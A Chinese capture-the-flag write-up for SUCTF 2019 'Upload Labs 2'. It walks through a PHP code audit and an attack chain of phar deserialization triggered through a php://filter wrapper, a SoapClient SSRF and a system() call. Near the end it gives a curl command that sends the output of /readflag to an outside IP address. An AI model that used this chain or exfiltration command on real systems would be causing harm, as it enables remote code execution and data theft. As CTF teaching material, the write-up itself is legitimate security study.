github编辑

[SUCTF 2019]Upload Labs 2

[SUCTF 2019]Upload Labs 2

考点

  • 代码审计

  • phar反序列化

  • PHP SoapClient 反序列化触发SSRF

  • 使用phar://缺不能以phar开头时,可以使用php://filter/resource=phar://

  • finfo_file() 结合 php://filter 触发 phar 反序列化

wp

有两个功能,上传图片和查看图片信息。

给了源码,和修改后的admin.php,要进行审计

index. php是文件上传功能,白名单限制。func.php是文件读取功能,返回文件的MIME。class.php定义了File类和Check类。至此基本判断是phar反序列化。

首先是index.php,说明了上传路径为 upload/md5($_SERVER["REMOTE_ADDR"]),然后采用白名单的方式限制后缀和content-type,最后调用Check类的check函数对上传文件内容做一个检查,不允许<?存在。对于func.php,是获取上传的文件,采用黑名单的方式封禁了很多PHP伪协议。然后调用自定义的File类来获取文件

然后找获取flag的地方,在admin.php的Ad类的__destruct()使用了system函数,也就是说要对Ad类进行实例化,或者反序列化

class Ad{
    public $cmd;
    public $clazz;
    public $func1;
    public $func2;
    public $func3;
    public $instance;
    public $arg1;
    public $arg2;
    public $arg3;
    function __construct($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3){
        $this->cmd = $cmd;
        $this->clazz = $clazz;
        $this->func1 = $func1;
        $this->func2 = $func2;
        $this->func3 = $func3;
        $this->arg1 = $arg1;
        $this->arg2 = $arg2;
        $this->arg3 = $arg3;
    }
    function check(){
        $reflect = new ReflectionClass($this->clazz);
        $this->instance = $reflect->newInstanceArgs();
        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
        $reflectionMethod->invoke($this->instance, $this->arg1);
        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
        $reflectionMethod->invoke($this->instance, $this->arg2);
        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
        $reflectionMethod->invoke($this->instance, $this->arg3);
    }
    function __destruct(){
        system($this->cmd);
    }

接着看,在admin.php中如果是本地访问,并且POST参数admin,就可以实例化Ad类,并且Ad类的参数都可以用POST提交。

但是Ad类的check()函数的含义是什么?首先通过反射获取$this->clazz类,然后构造一个没有属性的$this->clazz类的实例化对象,最后分别获取$this->clazz类的$this->func1$this->func2$this->func3函数,并分别把$this->arg1$this->arg2$this->arg3传入执行。通过反射创建的类大概如下,这里类的方法和其参数都可以相同。

这里可以使用SplStack类和它的push方法。POST数据

要想让 admin.php 去实例化Ad类,就要让 REMOTE_ADDR 为 127.0.0.1,即本地访问,接下来的问题就是如何去实现SSRF

而在反序列化里面可以实现SSRF的是SoapClient类,接下来就要找触发SoapClient 的位置。可以看到在 File 类中的 __wakeup() 存在一个反射,那就可通过这个反射,来获取SoapClient对象,然后调用SoapClient对象的check函数,这个check函数SoapClien中并不存在,就可以触发SoapClient的SSRF

接下来就是如何让 File() 类反序列化。finfo_file可以触发phar反序列化,但是在 fuc.php 不能传 phar:// 开头的字符串。在PHP中,php://filter/resource这个伪协议可以触发phar反序列化,所以在 fuc.php 不能传 phar:// 开头的字符串,可以使用 php://filter/resource=phar://......进行绕过

这里直接放反弹shell的exp

使用上面的exp生成phar,改名为1.gif,再上传。在vps监听端口,在 fuc.php 中输入php://filter/resource=phar://upload/cc551ab005b2e60fbdc88de809b2c4b1/b1467d0a5330091b554e2d892f7e8308.gif,就可以反弹shell了

或者是cmd改成curl "http://121.5.66.238:20010/?a=`/readflag`"直接获取flag

小结

  1. 原题预期解是MySQL 客户端任意文件读取(MySQL Client Attack),改代码后简化了很多

最后更新于